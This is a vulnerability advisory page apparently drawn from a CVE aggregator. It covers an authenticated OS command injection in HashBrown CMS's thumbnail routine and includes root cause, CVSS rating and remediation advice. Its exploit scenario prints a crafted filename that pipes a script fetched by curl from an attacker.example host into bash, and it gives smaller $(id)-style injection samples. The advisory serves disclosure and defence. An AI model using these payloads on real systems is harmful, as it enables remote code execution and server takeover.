Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain media-scoped CMS credentials
-
DeliveryCraft filename embedding shell substitution (e.g. x.jpg?$(cmd))
-
ExploitSubmit POST to /api/{project}/{environment}/media/new
-
InstallgetMIMEType() truncates at '?' and passes MIME check
-
C2Path.extname() retains full injected payload
-
ExecuteAppService.exec() passes unsanitized path to shell
-
ImpactArbitrary OS command execution as Node.js process user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must hold a valid authenticated session in HashBrown CMS with the 'media resource scope' permission explicitly granted. This scope is required to reach the POST /api/{project}/{environment}/media/new endpoint that triggers thumbnail generation. No non-default server configuration is required - the vulnerability exists in the default media upload flow. The limiting factor is credential acquisition: anonymous users and authenticated users without the media scope cannot trigger this code path. In deployments where only administrators hold the media scope, risk is substantially reduced but not eliminated, as administrative account compromise remains a viable path. The server must be running a HashBrown CMS version at or below 1.4.6 with a shell-accessible ImageMagick or equivalent 'convert' binary available to the Node.js process. |
| Impact | The CVSS 8.8 score (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) accurately reflects the risk profile: network-reachable, low complexity, full triad impact, requiring only low-privilege credentials. The PR:L metric is the primary limiting factor - exploitation is bounded to users with the media resource scope, which in a typical CMS deployment may include content editors and contributors, not just administrators. No EPSS score was provided in the input data, so probabilistic exploitation likelihood cannot be quantified. No CISA KEV listing is present, and no confirmed public exploit code has been identified, meaning exploitation is theoretically straightforward but not confirmed as actively occurring. The vulnerability is not configuration-dependent - any deployment of the affected version with at least one non-admin user account is potentially at risk. The attack chain is simple: a single crafted POST request yields code execution, making it automatable. Despite the absence of KEV or EPSS data, the low attack complexity and high impact make this a genuine remediation priority for any internet-facing HashBrown CMS instance. |
| Exploit ScenarioDerived | An authenticated CMS contributor navigates to the media upload interface and submits a POST request to /api/{project}/{environment}/media/new with a crafted filename such as shell.jpg?$(curl http://attacker.example/s.sh|bash). The getMIMEType() function sees the extension as .jpg and permits the upload, while Path.extname() extracts .jpg?$(curl http://attacker.example/s.sh|bash) intact. AppService.exec() then runs the full shell string, fetching and executing the attacker's script in the context of the Node.js server process - granting a reverse shell or persistent backdoor with the privileges of the CMS service account. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 05, 2026
OS command injection in HashBrown CMS through version 1.4.6 enables any authenticated user holding media resource scope to execute arbitrary shell commands on the server by exploiting a discrepancy between two filename-parsing functions. The MIME-type filter in getMIMEType() truncates filenames at the first '?' character - accepting 'x.jpg?$(command)' as a valid image - while Node.js Path.extname() does not truncate at '?', allowing the full malicious suffix to flow unescaped into a shell exec() call inside the thumbnail generation routine. No public exploit code or CISA KEV listing has been identified at time of analysis, but the technique is well-understood and requires only low-privilege access, making it a meaningful risk for any internet-accessible deployment.
RemediationAI
No vendor-released patched version has been identified in the available data - the affected range confirmed by EUVD covers all releases through 1.4.6, and no fix version is referenced in the TuranSec advisory (https://cve.turansec.uz/advisories/TRN-11FC0D88) or the NVD entry. Operators should monitor the upstream GitHub repository (https://github.com/HashBrownCMS/hashbrown-cms) for a patched release and upgrade immediately upon availability. In the interim, the most effective compensating control is to revoke the media resource scope from all non-administrative user accounts, limiting upload capability to fully trusted operators only - note this will prevent content editors from uploading media independently. If the application is internet-facing and no trusted-user restriction is feasible, consider taking the media upload endpoint offline entirely by blocking access to POST /api/{project}/{environment}/media/new at the reverse proxy or firewall level; this prevents the CMS from accepting new media but leaves existing content accessible. A WAF rule blocking filenames containing '?' or shell metacharacters ($, (, ), ;, `) in multipart form data may provide a partial barrier but should not be relied upon as the sole control given the variety of injection payloads possible.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
HashBrown CMS is a Node.js-based headless content management system. The vulnerability resides in Media.generateThumbnail() (src/Server/Entity/Resource/Media.js), which constructs a temporary file path by concatenating the string 'thumbnail' with the result of Node.js's Path.extname(filename), then passes that unsanitized path directly into a shell command via AppService.exec() - likely invoking ImageMagick's 'convert' utility. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command), specifically arising from a logic gap between two co-located parsing functions: getMIMEType() in src/Common/utilities.js strips everything from '?' onward when extracting the file extension, so 'x.jpg?$(id)' is classified as JPEG and passes validation. However, Path.extname() follows Node.js semantics and preserves the full extension including the '?' and everything after it. When that output reaches the exec() call, the shell interprets $(id) as a command substitution. The affected CPE is cpe:2.3:a:hashbrowncms:hashbrown-cms:*:*:*:*:*:*:*:*, covering all versions through 1.4.6.
Know when Hashbrown Cms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-reachable API endpoint (AV:N), trivial injection with no race condition (AC:L), requires media-scoped account (PR:L), full triad impact via shell execution (C/I/A:H).
Primary rating from Vendor (TuranSec).
CVSS VectorVendor: TuranSec
Lifecycle Timeline
3DescriptionCVE.org
HashBrown CMS through 1.4.6 contains an OS Command Injection vulnerability (CWE-78) in the media upload thumbnail generation routine. Media.generateThumbnail() in src/Server/Entity/Resource/Media.js builds a temporary file path as 'thumbnail' + Path.extname(filename) and passes it, unescaped, into a shell command executed via AppService.exec() ('convert ' + tempFile + ...). The MIME-type filter in getMIMEType() (src/Common/utilities.js) truncates the extracted extension at the first '?' character, while Path.extname() does not, allowing a filename such as 'x.jpg?$(command)' to pass the image-type check while still injecting a shell command substitution into the exec() call. An authenticated user holding the media resource scope can achieve arbitrary OS command execution in the context of the Node.js process via POST /api/{project}/{environment}/media/new.
Articles & Coverage 1
Executive ViewAI
HashBrown CMS versions through 1.4.6 contain a critical OS command injection vulnerability allowing authenticated users with media resource access to execute arbitrary shell commands on the server. No public exploit identified at time of analysis, but the vulnerability exploits a low-privilege feature present in most deployments, creating immediate risk of server compromise and data theft for any internet-accessible instance. Organizations must implement urgent access restrictions and monitoring pending patch availability.
Restrict media upload access to trusted internal networks; implement WAF rules blocking filenames with special characters (?, $, backticks); enforce strict file type validation at both MIME and extension levels; require multi-factor authentication for all users accessing media management functions; enable detailed logging and alerting on file upload activities; conduct access review and revoke media scope for users who do not require it.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Hashbrown Cms
View allA remote code execution issue was discovered in HashBrown CMS through 1.3.3. Rated critical severity (CVSS 9.8), this vu
A privilege escalation issue was discovered in the postUser function in HashBrown CMS through 1.3.3. Rated high severity
OS command injection in HashBrown CMS through version 1.4.6 allows any authenticated user with project configuration acc
An issue was discovered in HashBrown CMS before 1.3.2. Rated high severity (CVSS 7.5), this vulnerability is remotely ex
EUVD-2026-53097
GHSA-f8rj-8x92-pfp5
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB